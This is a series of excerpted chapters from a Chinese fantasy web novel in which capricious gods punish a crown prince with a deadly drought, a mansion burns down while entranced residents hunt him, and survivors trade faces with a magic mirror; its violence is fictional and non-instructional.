“上周目这么做过,结果他自尽了。”黎颂摊了摊手。 “或者杀掉他爸妈,让他屈服于你。”布奇眼尾一挑,变态极了。 “我是想谈恋爱,不是想结仇好嘛!” 黎颂感到惊悚,连连摇头。 “电视剧里都是这么演的!” 布奇不服气地开口: “那个什么《婉棠传》,男主杀了女主全家,女主后来就爱上他了。” “胡扯,谁要敢拿我爸威胁我,我高低得杀他全家。” 黎颂坚决反对,驳回提议。 “最后还得是我。” 疯妹得意洋洋: “我提了个建议:既然淼淼是雨神,我们不如让北山鄢的封地大旱十年,然后对三界浩土宣布,都是因为他愚弄神明,神明才降下神罚。” “宣告三界?你想让我丢脸丢到全三界吗?” 黎颂锤了疯妹一把,“刚开始我不同意,封地没有降水,和北山鄢有什么关系?” “哎呀,你不懂啦!” 疯妹急忙反驳。 “对一个太子来说,封地就是他的作业。咱们不下雨,就像有人把你的作业本藏起来一样,你交不上作业……” “那不得被老师骂死。”淼淼幸灾乐祸地弯起眼睛。 “所以,我们就让鄢州大旱十年。” 黎颂盖章定论。 “大旱十年?!” 庄非鱼惊叫出来。 “你有没有想过,大旱十年会死多少人?” “想这干嘛?”黎颂歪了歪头,“死了他们可以重新投胎呀。” “我还让司命簿拍了视频。” 疯妹翻开本子,向上一挥。 上面印着: 【永煦十二年,熙国太子北山鄢惹怒神明,神明降下天罚,令鄢州大旱十年。 次年二月,熙国废太子,封号:戾。】 字迹慢慢隐去,北山鄢苍白的脸占据整个屏幕。 他随父皇母后跪在地上,深深俯首,而后直起脊背,仰望万神殿光怪陆离的琉璃顶。 皇帝眼眶通红,颓然张口: “诸天神主,无量道尊,鄢州已有六月滴雨未下,何以不雨至斯极?” “父皇,”北山鄢转过眼珠,张了张干裂的嘴唇。 “噤声。”皇后转过头来,警告似的看了他一眼。 “你父皇才回来,让他休息一日。” 北山鄢只好咽回剩下的话,目光定定望着正中央的九天玄女神像。 仅一眼,身边的太监立刻撩起袍袖,挡在他眼前。 “殿下,不可直视神。” 太监低声提醒,撤去衣袖。 北山鄢低下头,隐忍执拗,浑身透出阴鸷疏离的气息。 忽然,一块漆皮掉到他面前,他惊愕抬头,看见九天玄女的神像,漆皮大块剥落。 皇帝慌了,他大声问道: “敢问神女,我熙国究竟做错了什么?是侍奉神灵不诚,还是为政不和?可有神谕降下?” 玄女像一寸寸碎裂,顺着高台跌落在地。一个披蓝色帔帛,戴黄金凤冠的神女从壁画中走了出来。 神女飘在半空,俯视熙国皇族。 她望着北山鄢,轻飘飘地开口: “熙国太子北山鄢不敬神明,今日降下天罚,令鄢州大旱十年,以儆效尤。” 说罢身形渐隐,消散在空中。 万神殿中一片狼藉,北山鄢直直跪立,皇帝转身,狠狠给了他一巴掌。 “你究竟做了什么?” 北山鄢偏头,一缕血痕从他的嘴角流下。 画面飞快变化,皇帝封锁东宫,以雷霆手段审讯皇宫所有人。 知情的不知情的,相干的不相干的,东宫所有活人,上到太子三师三保,下到洒扫宫女太监,一个都没能逃脱。 年幼的北山鄢囚于东宫,眼睁睁看着一千六百九十七人死在眼前。 血腥笼罩盛京,三月不散。 三个月后,北山鄢奉旨入鄢州,大兴祭祀,赈济灾荒。 “后来他们求到昊天那里,昊天和我们打了一架,帮他们引水,这事儿就平了。” 疯妹打了个哈欠,收回司命簿。 “你们知道,鄢州死了多少人吗?”庄非鱼问。 “好像是七八十万吧,没注意。” 黎颂伸了个懒腰。 “几十万条人命,谁能背负得起? 22. 杀北山鄢 《反派,但决定摆烂》全本免费阅读 庄非鱼离开时,天已经蒙蒙亮了。她顺了几包薯片和可乐,打着哈欠回到郦府。 到海棠苑时,郦之清刚洗漱完,见她现在才回来,生气地哼了一声,背过身去。 庄非鱼小跑过去抱住她: “乖阿清,今天你和小水玩,我补个觉。” “离我远些,净是冷气。”郦之清嫌弃地推搡她。 “喏,给你带了零食。” 庄非鱼松开手,变魔术似得掏出薯片,在郦之清面前晃了晃。 “这是什么?” 郦之清接过去,稀奇地捏了捏。 “这是薯片,番茄味的。”庄非鱼撕开包装,递到她面前。 郦之清捻了捻手指,小心翼翼地拿起一片,放到嘴里。 “这个味道,好奇妙。” 她眼睛一亮,迫不及待又拿起一片。 “还有可乐呢。” 庄非鱼掏出一瓶罐装可乐,拉开拉环递给她。 “这水怎么是黑色的?” 郦之清瞅着新奇,指尖轻轻悬在罐盖小口,触摸跳动的微小气泡。 “是碳酸饮料啦,好喝的。”庄非鱼示意她尝尝。 郦之清接过去喝了一口,然后打了个激灵。 “怎么?喝不惯吗?”庄非鱼连忙问她。 “有些冰。” 郦之清双手捧着可乐,又喝了一口,打了个小小的嗝。 “是好喝的。” 她适应以后,连喝了好几口,然后放到旁边,不再喝了。 “可乐要快快喝完,放久了味道就不好了。” 庄非鱼提醒她。 “我给小水留一点,让她也尝尝。” 郦之清低头,小口吃起薯片。 “你安心喝吧,少不了她的。” 庄非鱼一股脑拿出好几罐可乐,好几包薯片,统统塞到郦之清手里。 “我去补觉了,中午别叫我吃饭。” 她打着哈欠,泪眼朦胧摸索到房间,倒头就睡。 这一觉就睡到中午。 午时太阳高悬,庄非鱼正在黑沉的睡梦中,迷迷糊糊听到有人在叫她。 “小鱼,小鱼。” “小鱼,你醒醒,别睡了。” 庄非鱼挥舞手臂想打走那道声音,却被一把抓住。 “小鱼,我想到一个巨浪漫的主意。” 庄非鱼半睁着眼,睡眼惺忪,见黎颂坐在她床头,满脸兴奋。 “干嘛呀大晚上的,你都不用睡觉吗?” 刚睡醒,她开始说胡话了。 “睡什么睡,跟你讲,我们想到一个巨巨巨浪漫的办法。” 黎颂掰开她的眼皮,强行唤醒她。 “赶紧说。” 庄非鱼疲倦地挥开黎颂手指,眨巴酸痛的眼睛。 “你不是说送一束花嘛,但我觉得,送一束花也太小气了,我决定送一座城的花给他。” 黎颂双手握拳,抵住下巴,眼眸闪烁星辰一样的碎光。 “好,确实浪漫。” 庄非鱼敷衍地回了她一句。 黎颂不高兴了。 “你都没问我怎么送一座城的花!” 她皱起眉头,又开始扒拉庄非鱼的胳膊。 “好好好,你怎么送一座城的花?” 庄非鱼不想接触她冰冷的手,连忙把胳膊缩回被子里。 “我打算在今天晚上见北山鄢,然后让荔城每个人都送他一束花,并对他说一句祝福语。” 黎颂畅想着。 庄非鱼想了一下:当北山鄢出门时,每个见到他的人都笑着送他一捧花,然后说一句祝福语…… 确实挺浪漫的。 “大冬天的哪有花?” 她意识回拢,问了个现实问题。 “我让花神晚上一开呗。” “为什么非要晚上,白天不行吗?” 庄非鱼不理解黎颂的作息。 “白天我要补觉啦。”黎颂理所当然地回答,“你快给我想一句浪漫的祝福语。” “我想不来,你自己想。” 庄非鱼打了个哈欠。 “哎呀,你快给我想嘛!” 黎颂缠住她,两只冰手贴上她的脸颊。 庄非鱼被冻得一激灵,她连忙答应: “行行行,大爷,我现在想,晚上给你说。” 黎颂这才满意,她站起来一撩头发: “我回去补觉喽,晚上见。” 黎颂轻轻巧巧地离开,留下庄非鱼望着房顶,再无困意。 被黎颂这么一闹,庄非鱼彻底醒了。她索性起来,简单收拾一下,准备去厨房找点吃的。 刚洗了把脸,就见杨阿妈急匆匆走进来。 “小鱼,你家哥哥姐姐来找你了。” 哥哥姐姐? 庄非鱼一脸懵。 她一个人进游戏,哪来什么哥哥姐姐? 庄非鱼疑惑地跟上杨阿妈,九曲八拐绕到下人待客的小门房里,看到除魔司三个同事。 是李念儿、苏巧巧和翟流云。 “你们怎么才来?!” 她惊喜地张开手臂,一把抱住三个人。 李念儿拍了拍她的背,说道: “我们见你迟迟不来信,就请假过来了。” “狗东西,你是不是把鸽子搞坏了?” 苏巧巧锤了她一把,庄非鱼揉着肩膀,反声辩解: “这玩意儿绝对有问题,我听一半就断线了。” “没事,我修好了。” 李念儿宽容一笑,带着盛京女子特有的温柔和豁达。 “哼,你就惯着她吧。” 苏巧巧鼻尖一皱,佯装生气。 “好啦,我带你们去吃荔城的特色小吃。” 庄非鱼牵起两个姑娘的手,正准备离开,突然想到自己还没发工资,就又折了回去。 “杨阿妈,我们的工钱是不是……” “月底才发。” 杨阿妈冷哼一声,心不甘情不愿地掏出半两银子: “看你家亲眷来了,阿妈善心就借你半两,月底记得还给我,加上利钱。” “好嘞。” 庄非鱼接过银子,干脆地答应一声。 “杨阿妈你真是顶顶好的大善人。” 还是府里智商最高的人物,不放过任何一个敛财机会。 杨阿妈听了开心,提醒她: “记得去刘家羊肉汤馆,报我的名字能省三文。” 还能给她返利一文。 庄非鱼向她比了一个OK的手势,也不管杨阿妈能不能看懂,就迫不及待地离开。 “快,我们去吃饭。” 苏巧巧伸手牵她。 “方才那位阿妈极为热情,推荐了好多特色小吃呢。” “听说荔城的冷吃饼可是一绝。” “刘家羊肉汤馆更是不可错过。” 杨阿妈推销功力见长,一会儿就把这三个人说馋了。 三人完全被杨阿妈蛊惑,围着庄非鱼七嘴八舌,恨不得一天之内吃遍所有美食。 “你们别被杨阿妈骗了,冷吃饼一点儿也不好吃,荔城真正的特色是鲜花饼。” 庄非鱼说出真相。 “不过刘家羊肉汤馆确实不错,冬天吃一碗很暖和。” 几人说说笑笑上了街,庄非鱼看见鲜花饼就过去排队,打算给她们尝尝鲜。 买完一出来,看见三人扒在酒楼门口,探头朝里望。 酒楼正在表演杂剧,门口伙计面目不善地盯着他们,以为他们是消费不起的穷光蛋,在门口蹭剧的。 “走吧,这家不是我们消费得起的。” 庄非鱼摸了摸兜里那点银子,去拉她们,苏巧巧先回过头来,若有所思: “荔城政治生态很开放啊。” “为啥这么说?”庄非鱼问。 “你瞧,”苏巧巧努了努嘴,“那个演戏的在阴阳怪气骂城主。” 店小二终于看不下去了,走过来挡住他们,问: “几位客官,点什么菜?” “把你们这儿的招牌菜上上几道。” 李念儿径直走进去,身上带着不差钱的豪气。 庄非鱼和苏巧巧、翟流云对视一眼,眉开眼笑: “哇哦,今天郡主娘娘请客。” “把荔城的特色小吃都上一遍。” “上贵的,不差钱儿。” 李念儿回头瞪了一眼,三人才你推我挤地坐下。 作为熙国宗室,李念儿自然不缺钱。她点了二楼的包厢,即能看到楼下演出的杂剧,又不至于太吵闹。 小二拿着食单过来,庄非鱼熟练地点了羊肉汤饼、鲜花酥酪、菊花鱼丝、荔香兔丁四道荔城特色菜肴,将食单递给苏巧巧。 苏巧巧要了细切菘菜、酒香苜蓿,问李念儿和翟流云还要什么。 “加壶桂花酒。”李念儿要了饮品。 翟流云兴致勃勃接过菜单,问庄非鱼: “这五福临门、翠柳啼红、美女簪花都是什么菜?” “虽然我不知道是什么菜,也不知道好不好吃,但肯定很贵。”庄非鱼摊了摊手。 “让我瞧瞧美女簪花的真面目。” 翟流云果断勾上。 等上菜之际,庄非鱼简短将郦府的事讲了一遍。 说到九天玄女时,李念儿惊惧地捏碎杯子: “吃完饭立刻走,这不是我们能沾染的事。” “对了,九天玄女来这里,为的就是攻略太子。”庄非鱼补充。 她删删减减,简短讲了黎颂附身郦之宁,换脸接近北山鄢的事。 李念儿眉头紧皱,等庄非鱼说完,立即关上门窗,吩咐翟流云和苏巧巧守在门口。 她打开银白色小箱,拿出坤镜,咬破手指滴血于上。 坤镜亮起皎皎白光,三息过后,出现一位宫装女子的幻影。 “何事?”女子问。 “禀昭容,玄女现身荔城,与太子相见。”李念儿恭敬回话。 “我去回禀皇后娘娘,你们留在荔城,静候吩咐。” 女子眼神一凛,挥袖消失。 门外,翟流云和苏巧巧一人端了两盘菜,门神一样守住门窗。 庄非鱼探头望了望,打开门: “进来吧。” “嘶,我要被烫死了。” 苏巧巧赶忙放下盘子,两指通红捏住耳朵根。 “咱们暂时留在荔城。” 李念儿施施然坐下,夹起一道菘菜,送入口中。 “留在这里做什么?难道九天玄女会对太子不利?” 苏巧巧半歪着头,挑拣了一筷兔丁。 “听小鱼的意思,九天玄女这是看上太子殿下了?” 翟流云觉得不可思议。 “九天玄女可是邵国的无冕之王,仅次于昊天的神明,她想要什么得不到?需要偷偷摸摸换脸,博太子殿下欢心?” “真心。” 庄非鱼夹起鱼丝放入小碗,慢悠悠回答一句。 “什么真心?”翟流云不解。 “神明坐拥三界,无所不有,可唯独真心,是他们无法掌控的东西。” 庄非鱼夹起一条黄花菜,放进翟流云碗里。 “喏,这就是你要的美女簪花。” “就这?” 翟流云夹起那条黄花菜,仔细端详,然后愤愤吃下。 “这玩意儿竟然是整个食单里最贵的,它怎么敢收钱!” 小二端上温热的桂花酒,苏巧巧殷勤地给李念儿倒了一杯,凑到她面前问: “九天玄女和太子殿下是不是有渊源?” “没有。”李念儿避开她的视线,果断否认。 “肯定有!”苏巧巧笃定点头。 这些天相处下来,她也摸透李念儿的脾气。 李念儿眼神慌乱坚决否认的,一定有;李念儿眼睛不动含糊其辞的,八成没有。 “盛京那边怎么说?” 庄非鱼放下筷子,给自己倒了一杯酒,转头问李念儿。 她想听听这件事最后怎么收尾。 “皇室秘辛,怎能外传。”李念儿义正言辞地拒绝。 “这里都是自己人,你不说的话,那我可就说了。” 翟流云吊儿郎当地瞥着李念儿,拉长声音: “话说太子殿下十岁那年,九天玄女见其美貌……” “怎能散布谣言!” 李念儿一拍桌子,瞪他一眼,然后妥协,慢慢开口: “永煦十二年,熙国还不是昊天大帝的领土。诸神高居九重天,共治三界。 殿下自小过目不忘,被誉为熙国百年 24. 埋骨之地 《反派,但决定摆烂》全本免费阅读 雪飘如絮,顷刻之间,海棠苑一片纯白。 庄非鱼立在院中,只一会儿,身上便落满寒雪。 郦府四处都是燎起的火势。 撞倒的花盆声、嘶吼的呐喊声、杂乱的脚步声,塞满她的耳朵,让她无法思考。 庄非鱼揉了揉眼睛,以为自己在做梦,但很快,小水的嘶吼声拉回她的注意。 七八岁的小水,僵尸一样眼睛发直,步履缓慢,直直踩进花盆,嘴里还不停喊着“杀北山鄢”。 眼看小水要撞上大树,庄非鱼惊醒,奔过去一个手刀,砍中她的后颈。 小水应声倒下,庄非鱼眼疾手快,捞住她软软的身体,抱她回床上躺好。 给她盖上被子后,庄非鱼还是不放心,便扯下窗帘,用被子裹住她,在她腰上缠绕一圈帘布,还打了个死结。 小水搞定。 庄非鱼关上门,转身去找郦之清。 郦之清的房门紧闭,里面有一团火光,不停有“嘭嘭”的声响传出来。 火光? 庄非鱼一惊,立刻从外面打开门。 郦之清穿着凌乱的单衣,和小水一样呆滞又疯狂,闷着头向外猛冲。 取暖炭盆倒在地上,点燃床帐纱帘,被褥床榻几乎燃了一半,房间里浓烟滚滚,让人无法呼吸。 庄非鱼呛得直咳嗽,伸出手臂拦她。 郦之清一心向外横冲,撞上庄非鱼的胳膊,仍不管不顾,试图挣脱。 庄非鱼干脆利落一个手刀,劈晕郦之清,抱她去和小水作伴。 火势飞快蔓延,庄非鱼想救,但心有余而力不足,只好抹了把脸,出门先去找李念儿三人。 她刚冲出去,就看到隔壁的郦之宁,摇摇晃晃,脑袋卡在一株紫藤萝中间,双脚还在原地踏步。 这倒是比在房间安全一些。 庄非鱼立马折返回去,将郦之清和小水拖出来,也卡在藤萝枝中间。 做完之后,她站起身来,准备离开时,突然听到有人在叫她。 “小鱼!” 雪地里,李念儿三人穿着单衣,朝她疾跑过来。苏巧巧第一个奔过来,紧紧抱住她: “吓死我了,还好你没事。” “我没事。” 庄非鱼回抱住她,安慰似地拍了拍她的肩膀。 四人脸上,带着如出一辙的后怕。 现在不是叙旧的时候,庄非鱼和苏巧巧很快松开手,李念儿紧接着开口: “皇后娘娘御令:让我们立刻寻找太子殿下,不惜一切保护殿下的安全。 咱们四个人正好四个方向,阿云向东,小鱼向西,巧巧向南,我向北。” 等她说完,庄非鱼话赶着话,追问道: “府里人都是入魔状态,我们该怎么救?” “这不是入魔状态,我的符箓不起作用。” 翟流云摇了摇头,眼神沉重,他摸了摸后脖颈,提议道: “遇到人就打晕吧,打晕后再叫醒,这种状态就消失了。” 他陷入这该死的术法时,苏巧巧一个手起刀落,劈中他的后颈,搞得他现在都晕乎乎的。 “就按阿云的话做,我们现在去找殿下,半个时辰后还在这里汇合。” 李念儿一锤定音。 “等一下,我给你们封入避火符。” 翟流云叫住她,咬破手指,口中默念咒语,鲜血如同细丝在空中牵引,形成似火似烟的云符。 翟流云念完咒语,掌风一挥,符箓缄封入李念儿的身体。 他的脸色白了一度,然后深呼吸一下,立刻去画第二张符。 两张画完,依次封入庄非鱼和苏巧巧的身体,翟流云半跪到地上,煞白着脸,冷汗涔涔。 李念儿连忙去扶他,担心问: “还能撑住吗?” “我缓一缓就好,你们先去。” 翟流云喘息一声,轻轻挥开她的手。 李念儿拿出银白小箱,取出一丸丹药递到他嘴边: “你吃了这个,我再走。” 李念儿的手直直抵到他唇边,翟流云偏头叼走丹药,喉咙一滚,咽了下去。 “好苦,”他脸皱了起来,“这下放心了?快去吧。” 三人没再耽误时间,兵分三路,立刻寻找。 庄非鱼一路向西,离开女眷宅院。 刚开始,她一手刀一个,劈晕后就放到开阔的平地上。后来发现路上人太多,劈不过来,就放任自流了。 她脑海中有个模模糊糊的念头: 这些人是奔着北山鄢去的。 也许,他们能感应到北山鄢。 顺着人潮,庄非鱼路过敞开的玄都苑,一路走到郦府后门。 郦府依山傍水而建,后门打开就是延绵不断的山峦。闲暇时,郦之清常来这里登山戏水。 后门虚掩着,庄非鱼一推开门,就看到雪地上留下的一串脚印。 脚印深深浅浅,没入山林。 她转身关门,落上门闩,将汹涌的人潮堵在门外,然后顺着脚印,一步一步爬上山去。 北风飕飕而过,雪夜的山峡冷得出奇,庄非鱼折了根粗壮的树枝,在辉眼刺目的雪山上慢慢爬行。 她一边爬,一边裹紧斗篷,自嘲地想着: 为了份工作拼成这样,除魔司怎么着也得给我加工资。 * 庄非鱼赶到时,北山鄢正半靠在倾颓的山门上,双手染血,发丝凌乱,神情愉悦哼唱荒腔走板的小调。 不愧是男主,这种时候还有情调吹曲。 她抖落满身积雪,踏上台阶,站在北山鄢面前,俯下身,轻轻摘去他发丝的一支枯叶。 “整座城的人都在追杀你。” “我知道。” “你不怕吗?” “死亦何苦。” 北山鄢眉目含笑,接过枯叶,指间轻轻一弹,树叶随风而去,落入悬崖,顺风雪飘零无踪。 “也许今夜只是一场噩梦,姑娘回去睡上一觉,明天太阳升起,一切如常。” 庄非鱼定定望着他,那张俊美绝伦的脸,半边如玉白净,半边纵横交错着蛛网般的血丝。 血丝蔓延到他的左眼,像裂了一半的莹润白瓷,渗出血来,反倒有股惊心动魄的美。 他的两只眼睛,一只漆黑如墨,一只清浅如茶。 男主的眼睛是不同颜色的吗? 庄非鱼努力回想,想起《天神》宣传片上那张颜值极高的建模脸。 似乎都是纯黑色。 思绪繁杂一闪而过,她俯身,从斗篷中伸出手,递到北山鄢面前: “我是除魔司的斥候,我来带你回去。” 北山鄢摇了摇头,双手负于脑后,神情悠然: “打扰人赏雪可不是淑女所为。” 大雪纷飞,他的眼神透过庄非鱼,落到悬崖边的青松上。 似乎真的在赏雪。 庄非鱼心想: 这里四周无人 25. 全府覆灭 《反派,但决定摆烂》全本免费阅读 雪停时,庄非鱼正好下山。 她呼了一口白气,搓了搓冻僵的手指,拉开温热的门闩。 “轰隆一声”,半边门板朝她倒下来,上面还带着燃起的火焰。 庄非鱼吓了一跳,下意识朝另一边跑过去。 她的脚步似乎震醒了另一半门,那门板“嘎吱”几声,同样侧倒下去。 顺着门板一同倒下的,还有堆叠在一起烧焦的尸体。 燃着火焰的尸骨劈头盖脸砸过来,将庄非鱼砸躺下去,盖住她的口鼻。 她奋力刨开尸首,用力喘气。 都是燃焦的油脂气。 火太大了,一眼望去竟找不到一个活口。 她头发散乱,站起身来,系上斗篷系带,心想: 幸好有翟流云的避火符,要不然非得烧死在这儿。 府内已是一览无余,庄非鱼抬头去看,府苑满是熊熊烈火,冲天黑烟直冲云霄。 她冒着浓烟,以门闩为棍,挥开尸堆踏了进去。 每座府苑都燃着烈火,四处都是被树木枝桠阻拦的、烧焦的尸体。 错落有致的花木成了催命符,挡住主人逃离的步伐。 越往里走人越少,走到最后,她直接跑了起来,径直朝海棠苑奔去。 庄非鱼狂奔到海棠苑门口,第一眼就看到燃起的藤萝枝。 阿清! 她瞪大眼睛,赶忙跑近,用棍子挥开着火的藤蔓。 里面没有人。 万幸! 庄非鱼松了一口气,四处张望寻找。烟雾太盛,她几乎看不到一米以外的事物,只能一边寻找,一边大喊: “还有人吗?” 喊了几声,东南方向一道声音回答她: “我在这儿!” 庄非鱼惊喜地奔过去,没注意脚下,被尸体绊了一跤,直直跌入那人的怀里。 她抬头,发现是苏巧巧。 “你小心一点啦。”苏巧巧抱住她,嗔怪一声。 “太急了,没注意。” 庄非鱼直起身来,自责地砸了砸额头。 “怎么样,找到太子殿下了吗?”苏巧巧扶她站直,追问道。 “太子一个人在山崖赏雪,目前……应该是平安的。” 庄非鱼迟疑了一下。 她隐约觉得北山鄢的话有些奇怪,但今晚发生的事情太多,让她无暇细思。 “那就好。”苏巧巧长出一口气。 “你在这里等其他人,我先离开一会儿。” 庄非鱼嘱咐苏巧巧,转头就要走,苏巧巧连忙拉住她: “你去哪?府里多危险!” “我去找我朋友,有避火符在,不会有事的。” 她挥开苏巧巧的手臂,转身迈进浓烟滚滚中。 “喂,记得快点回来,我们都在这里等你。”苏巧巧大喊一声。 庄非鱼挥了挥手,留给她一个义无反顾的背影。 庄非鱼跑到岔路口,停下来大喘气,浓烟滚滚,呛得她不停咳嗽。 边咳嗽边扇风,她心想: 郦之清醒过来后,会去哪里? 整个府邸,谁是她最割舍不下的人? 庄非鱼思考一瞬,果断放弃黄阶平所在的南边,朝郦府正苑奔去。 正苑是郦问衡和妻子黄氏的居所,当她赶到时,郦之清用粗布沾水蒙脸,正要往里冲。 庄非鱼一把抱住她,在她耳边大喊: “别进去,里面都快烧成灰了。” 郦之清先是一怔,然后回过头来,紧紧抱住庄非鱼。 “我四处找不到你,我就知道你活着。” 她又惊又喜,流下泪来,脸上沾满黑灰,像只脏兮兮的小白猫。 庄非鱼心跳的厉害,嘴里一直念着“幸好,幸好”。 幸好她赶到了,没让郦之清闯进火海,丢了性命。 郦之清挣开她的怀抱,抹了把泪水: “我爹娘还在里面,我得进去救他们。” 雕栏玉砌付之一炬,里面半点人声也无,郦之清却魔怔似的要闯进去。 “我去给你找。”庄非鱼无奈。 郦之清煞白着脸不停摇头,庄非鱼软下声音: “我是除魔司的人,不怕火的。” 说罢上前两步,将手放到烧红的梁柱上,停上几息,缩回去给郦之清看。 郦之清焦急地握住她的手,翻来覆去地看,见上面果然没有一丝烧伤的痕迹,才松了口气。 庄非鱼松开她的手,叮嘱一句: “就在这里等我,千万不要进来。” 然后毫不犹豫,踏入熊熊烈火中。 刚踏进房间,庄非鱼的眼睛就被熏得生疼。 避火符虽然能免疫火伤和烟尘,但无法保护人的眼睛,她只能用力眨眼,流泪,将眼中飞尘冲刷出去。 她张口大喊一声: “还有人吗?” 灰尘进入她的咽喉,呛得她连连咳嗽。 房内无人回答,一扇屏风烧断,径直朝她砸下来。庄非鱼闪避不及,被狠狠砸中右肩膀,疼得她直抽冷气。 她小心翼翼推开那半扇屏风,绕进烧毁的珠帘,见门槛上趴着几具焦黑的尸体。 这场景,像是他们要出去,却被门槛拦住,齐齐摔倒一样。 庄非鱼叹了口气,挪开眼睛,扫视房间一圈,见确实没有活口,便立刻抽身离开。 郦之清守在门口,火舌几乎舔上她的脸颊,她却浑然不觉。 庄非鱼灰头土脸地出来,朝她摇了摇头。郦之清握住她的手,叫着“爹娘”,忍不住大哭起来。 “小水呢?小水没和你在一起吗?” 庄非鱼问她。 “小水去找她娘亲了。”郦之清抽噎一声,茫然回应。 庄非鱼和她对视一眼,两人眼睛齐齐瞪大,不约而同向外跑去。 火势已渐渐消弥,曾经花团锦簇,风雅精巧的院落,如今只剩断壁颓垣,荒凉满目。 人们在昏沉中死去,无痛无苦,无知无觉。 路过池塘时,庄非鱼看到水面漂浮着一具尸体,她连忙招呼郦之清打捞。 两人用树枝勾住衣角,拽上来时,才发现是黄阶平。 他像是被人踩踏过,或是跌了不少跟头,浑身青紫肿胀,唯有脸还是完整的。 庄非鱼探手触摸他的鼻息,低声道: “没气了。” 郦之清默然无语,两人站起身来,继续去找王小水。 下人居住的院落本就干燥,大火来临,这里是燃烧最凶猛的地方。 庄非鱼到时,房屋已是摇摇欲坠,焦黑的房梁还冒着火星。 她心中已有不好的预感,快步走到杨阿妈房里,刚进门,就看到杨阿妈和小水的半截身体。 小水紧紧抱住 26. 神明挽留 《反派,但决定摆烂》全本免费阅读 庄非鱼站在一旁,静静听她们哭完。 大雪落尽,云开月出,当郦府燃尽最后一支干枯的凌霄花时,庄非鱼听见翟流云和苏巧巧在喊她。 她心中一急,蹲下身直视郦之清: “阿清,你以后想怎么办?” 郦之清抬起哭肿的眼睛,迷茫望她。 庄非鱼咽了咽干渴的喉咙,扶住她两边臂膀,看着她的眼睛,一字一句说道: “阿清,郦府已经覆灭了,能保护你的人都不在了,往后的日子,你们两个小孩子该怎么活?” “我们去投奔舅父。”郦之清攥住郦之宁汗津津的手,低声说道。 “然后过两年嫁人生子,操持家务?”庄非鱼紧跟着问,“你想这样活一辈子吗?” 郦之清沉默许久,带着血丝的眼睛里,一道悲哀之色闪过。 她想了又想,想了又想,然后慢慢摇头: “我不愿意。” 我不愿意寄人篱下,我不愿意当个寄生虫,我不愿意从父家到夫家,一辈子没有为自己做过主。 “我不愿意。” 郦之清坚定地重复一遍,吓得郦之宁尖叫一声: “姐姐,你疯了!” 郦之宁紧紧捏住她的手,紧张道: “不去舅家我们还能去哪?不嫁人生子我们还能怎么活?” “我不愿意!” 郦之清甩开她的手,一双眼睛像小兽一样,凶猛地盯着她。 郦之宁被吓了一跳,口中呐呐,不敢直视姐姐的眼睛。 “阿清,你听着,这是个机会。” 庄非鱼伸手抚摸她的脸颊,神色冷静: “现在整个府里,恐怕只有黄阶平的面目尚算完整,你愿意用摄魂镜变成黄阶平的样子,替他上任谷留县县令,作为男子建功立业,还是跟我一起去盛京,加入除魔司?” 她在郦之宁呆愣的目光中拿过摄魂镜,递到郦之清面前。 郦之清低头看了看摄魂镜,又抬头看了看庄非鱼,咬牙回答: “我要成为黄阶平。” “变成黄阶平你以后怎么嫁人?”郦之宁急了,连忙去劝她。 “我不想嫁人,我想当县令。”郦之清固执地回她。 庄非鱼点了点头,目光轻轻挪到郦之宁身上: “你呢?” “我不换,我就要我这张脸。”郦之宁比姐姐还坚决。 “你确定?” 庄非鱼反问她一句,举起镜子到她面前。 郦之宁被迫看向镜子,镜子里那张绝色容颜上,细细密密无数道烧伤划痕,有些伤痕深可见骨,甚至能看到里面惨白的骨头。 “啊!” 她一把挥开镜子,恐惧地尖叫起来: “这不是我,我不要这张脸,我不要。” “换回你以前的模样吧,郦之宁。” 庄非鱼收回镜子,静静看着她。 “我不要!我不要!” 郦之宁双眼通红,跪趴着抱住郦之清的腿,鼻涕眼泪横飞: “姐姐,你要换表哥的脸就去换,你把你的脸换给我好不好。” “郦之宁,你怎么死皮赖脸?” 庄非鱼气急。 没想到这种时候,她还想着要漂亮的容貌。 郦之宁畏畏缩缩地瞧了庄非鱼一眼,抱着郦之清的腿继续哭诉: “姐姐,我求求你,你帮帮我,让我变成你好不好?” 郦之清沉默一会儿,也许是最后一句话打动了她,她点了点头。 “好。” “好什么好?”庄非鱼气急。 “好在,郦之清还能活在这个世上。” 郦之清摸了摸自己的脸,有些怅然。 庄非鱼一肚子气话堵在胸口,最终化成一句: “想换就换吧。” 郦之宁缩手缩脚,从她手中抢过摄魂镜,长按开机,默念咒语。 很快,郦之清的整张脸,整个身形,都腾挪转移到郦之宁身上。 包括那双来自于她的杏眼。 郦之宁开心地照了照镜子,转了个圈,眨了眨眼睛,催促庄非鱼: “我们快去给姐姐换吧。” 庄非鱼看都不想看她,只是牵住郦之清,故意避开除魔司三个同事,来到黄阶平溺死的池塘边。 郦之宁乖巧跟在她们后面,直到郦之清换完脸,才长出一口气: “姐姐,你去当县令,我去投奔舅父。” 郦之清活动一下胳膊关节,冷冷看她一眼: “你跟我一同上任。” “凭什么?”郦之宁如遭雷击。 “凭郦之清和黄阶平两情相悦,择日成亲。” “我怎么能和你成亲?”郦之宁跳起来。 郦之清警告地看她一眼,郦之宁唯唯诺诺低头,咽下反对的话语。 她惯会审时度势,知道郦之清现在惹不起,眼珠滴溜一转,只得从长计议。 晨光熹微,天将破晓,庄非鱼带着郦之清和郦之宁回到海棠苑。 李念儿三人靠墙坐着,眼睛微阖,显然等候多时。 听见她过来,李念儿第一个睁开眼睛,撑墙起身。 耽误她们不少时辰,庄非鱼上前道歉: “对不起,我回来晚了。” “事出有因,无需多言。” 李念儿笑了笑,眼神在郦之清和郦之宁之间打了个转,又转回庄非鱼脸上。 “巧巧说你找到太子殿下了,他在崖边赏雪?”李念儿问她。 “是。我一路向西,跟着人潮走到后门,看到雪地有一行足迹。然后顺着足迹一路爬上山崖,见到太子殿下一个人靠在废弃庙门赏雪。” 庄非鱼简要描述了一下事情经过。 “你没有带殿下回来?”李念儿反问。 “殿下不愿意跟我回来,况且山下这么多人中邪想杀他,留在山顶反而安全。” 庄非鱼解释。 李念儿微微颔首,道: “殿下安全就好,我已告知皇后娘娘,最迟中午就会有人过来解决此事。” 三人寻了整整一夜,已经疲惫不堪,翟流云和苏巧巧迷迷瞪瞪看了庄非鱼一眼,确认她安全回来,就继续歪倒在墙边。 不一会儿,就打起鼾声。 李念儿望了他们一眼,对庄非鱼说道: “你也累了一天,坐下歇会儿吧。还有你身边的两位……” “她俩是我朋友,也是府里唯一的生还者。” 庄非鱼解释完,低声对郦之清和郦之宁说: “你们也坐下歇歇。” 郦之清和郦之宁局促坐到墙角,紧紧靠在一起,没一会儿就打起小小的鼾声。 庄非鱼坐到她俩身边,明明困得要死,却怎么也睡不着。 